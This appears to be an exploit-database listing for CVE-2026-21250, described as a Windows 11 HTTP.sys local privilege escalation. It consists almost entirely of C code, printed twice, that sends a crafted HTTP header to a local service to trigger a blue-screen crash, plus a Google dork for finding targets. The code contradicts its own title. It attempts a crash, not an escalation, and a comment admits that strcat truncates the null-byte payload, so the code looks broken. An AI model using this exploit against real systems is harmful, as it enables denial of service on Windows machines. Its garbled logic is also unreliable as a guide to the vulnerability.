7.8
/ 10
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Description
Exploit Title: Windows 11 24H2 - Local Privilege Escalation Google Dork: inurl:http.sys "Windows 11 24H2" vulnerability | intitle:"HTTP.sys" "CVE-2026-21250" "Elevation of Privilege" Date: 2026-02-27 Exploit Author: London foggy snow Vendor Homepage:...
Basic Information
ID
EDB-ID:52546
Published
May 4, 2026 at 00:00
Affected Product
Affected Versions
# Exploit Title: Windows 11 24H2 - Local Privilege Escalation
# Google Dork: inurl:http.sys "Windows 11 24H2" vulnerability | intitle:"HTTP.sys" "CVE-2026-21250" "Elevation of Privilege"
# Date: 2026-02-27
# Exploit Author: London foggy snow
# Vendor Homepage: https://www.microsoft.com/en-us/msrc
# Software Link: https://learn.microsoft.com/en-us/windows/win32/http/http-sys
# Version: Windows 11 24H2 (10.0.26100.7780), Windows 11 25H2 (10.0.26200.7780), Windows Server 2022 23H2 (10.0.25398.2148)
# Tested on: Windows 11 24H2 (x64), Windows Server 2022 23H2 (Server Core x64)
# CVE : CVE-2026-21250
# powershell -> net start http
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
#define TARGET_IP "127.0.0.1"
#define TARGET_PORT 80
unsigned char malicious_ptr[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
char* build_malicious_request() {
static char request[1024];
sprintf(request,
"GET / HTTP/1.1\r\n"
"Host: localhost\r\n"
"X-Trigger-Ptr: ");
// Critical Pitfall: strcat truncation (core vulnerability trigger failure)
// Citation: "The strcat() function terminates at the first null byte (0x00), which truncates binary malicious pointers
// required for CVE-2026-21250 exploitation. This causes incomplete delivery of the untrusted pointer to HTTP.sys driver,
// leading to failed BSOD trigger or random memory access errors instead of targeted vulnerability exploitation."
strcat(request, (char*)malicious_ptr);
strcat(request, "\r\n"
"Connection: close\r\n"
"\r\n");
return request;
}
int trigger_blue_screen() {
WSADATA wsaData;
SOCKET client_socket;
struct sockaddr_in target_addr;
int ret;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
printf("WSAStartup failed, error: %d\n", WSAGetLastError());
return -1;
}
client_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (client_socket == INVALID_SOCKET) {
printf("socket failed, error: %d\n", WSAGetLastError());
WSACleanup();
return -1;
}
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(TARGET_PORT);
inet_pton(AF_INET, TARGET_IP, &target_addr.sin_addr);
ret = connect(client_socket, (struct sockaddr*)&target_addr, sizeof(target_addr));
if (ret == SOCKET_ERROR) {
printf("connect failed, error: %d\n", WSAGetLastError());
closesocket(client_socket);
WSACleanup();
return -1;
}
printf("[+] Connected to local HTTP service, sending malicious request...\n");
char* request = build_malicious_request();
ret = send(client_socket, request, (int)strlen(request), 0);
if (ret == SOCKET_ERROR) {
printf("send failed, error: %d\n", WSAGetLastError());
closesocket(client_socket);
WSACleanup();
return -1;
}
printf("[+] Malicious request sent, waiting for BSOD...\n");
Sleep(2000);
closesocket(client_socket);
WSACleanup();
return 0;
}
int main() {
printf("=== http.sys local BSOD test ===\n");
printf("WARNING: May cause BSOD! Save all work now!\n");
printf("Starting in 3 seconds...\n");
Sleep(3000);
int ret = trigger_blue_screen();
if (ret == 0) {
printf("Request sent. If no BSOD, check:\n");
printf("1. System is patched\n");
printf("2. HTTP service is not running\n");
printf("3. Port 80 is not listening\n");
}
else {
printf("Trigger failed.\n");
}
return 0;
}
# Google Dork: inurl:http.sys "Windows 11 24H2" vulnerability | intitle:"HTTP.sys" "CVE-2026-21250" "Elevation of Privilege"
# Date: 2026-02-27
# Exploit Author: London foggy snow
# Vendor Homepage: https://www.microsoft.com/en-us/msrc
# Software Link: https://learn.microsoft.com/en-us/windows/win32/http/http-sys
# Version: Windows 11 24H2 (10.0.26100.7780), Windows 11 25H2 (10.0.26200.7780), Windows Server 2022 23H2 (10.0.25398.2148)
# Tested on: Windows 11 24H2 (x64), Windows Server 2022 23H2 (Server Core x64)
# CVE : CVE-2026-21250
# powershell -> net start http
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
#define TARGET_IP "127.0.0.1"
#define TARGET_PORT 80
unsigned char malicious_ptr[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
char* build_malicious_request() {
static char request[1024];
sprintf(request,
"GET / HTTP/1.1\r\n"
"Host: localhost\r\n"
"X-Trigger-Ptr: ");
// Critical Pitfall: strcat truncation (core vulnerability trigger failure)
// Citation: "The strcat() function terminates at the first null byte (0x00), which truncates binary malicious pointers
// required for CVE-2026-21250 exploitation. This causes incomplete delivery of the untrusted pointer to HTTP.sys driver,
// leading to failed BSOD trigger or random memory access errors instead of targeted vulnerability exploitation."
strcat(request, (char*)malicious_ptr);
strcat(request, "\r\n"
"Connection: close\r\n"
"\r\n");
return request;
}
int trigger_blue_screen() {
WSADATA wsaData;
SOCKET client_socket;
struct sockaddr_in target_addr;
int ret;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
printf("WSAStartup failed, error: %d\n", WSAGetLastError());
return -1;
}
client_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (client_socket == INVALID_SOCKET) {
printf("socket failed, error: %d\n", WSAGetLastError());
WSACleanup();
return -1;
}
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(TARGET_PORT);
inet_pton(AF_INET, TARGET_IP, &target_addr.sin_addr);
ret = connect(client_socket, (struct sockaddr*)&target_addr, sizeof(target_addr));
if (ret == SOCKET_ERROR) {
printf("connect failed, error: %d\n", WSAGetLastError());
closesocket(client_socket);
WSACleanup();
return -1;
}
printf("[+] Connected to local HTTP service, sending malicious request...\n");
char* request = build_malicious_request();
ret = send(client_socket, request, (int)strlen(request), 0);
if (ret == SOCKET_ERROR) {
printf("send failed, error: %d\n", WSAGetLastError());
closesocket(client_socket);
WSACleanup();
return -1;
}
printf("[+] Malicious request sent, waiting for BSOD...\n");
Sleep(2000);
closesocket(client_socket);
WSACleanup();
return 0;
}
int main() {
printf("=== http.sys local BSOD test ===\n");
printf("WARNING: May cause BSOD! Save all work now!\n");
printf("Starting in 3 seconds...\n");
Sleep(3000);
int ret = trigger_blue_screen();
if (ret == 0) {
printf("Request sent. If no BSOD, check:\n");
printf("1. System is patched\n");
printf("2. HTTP service is not running\n");
printf("3. Port 80 is not listening\n");
}
else {
printf("Trigger failed.\n");
}
return 0;
}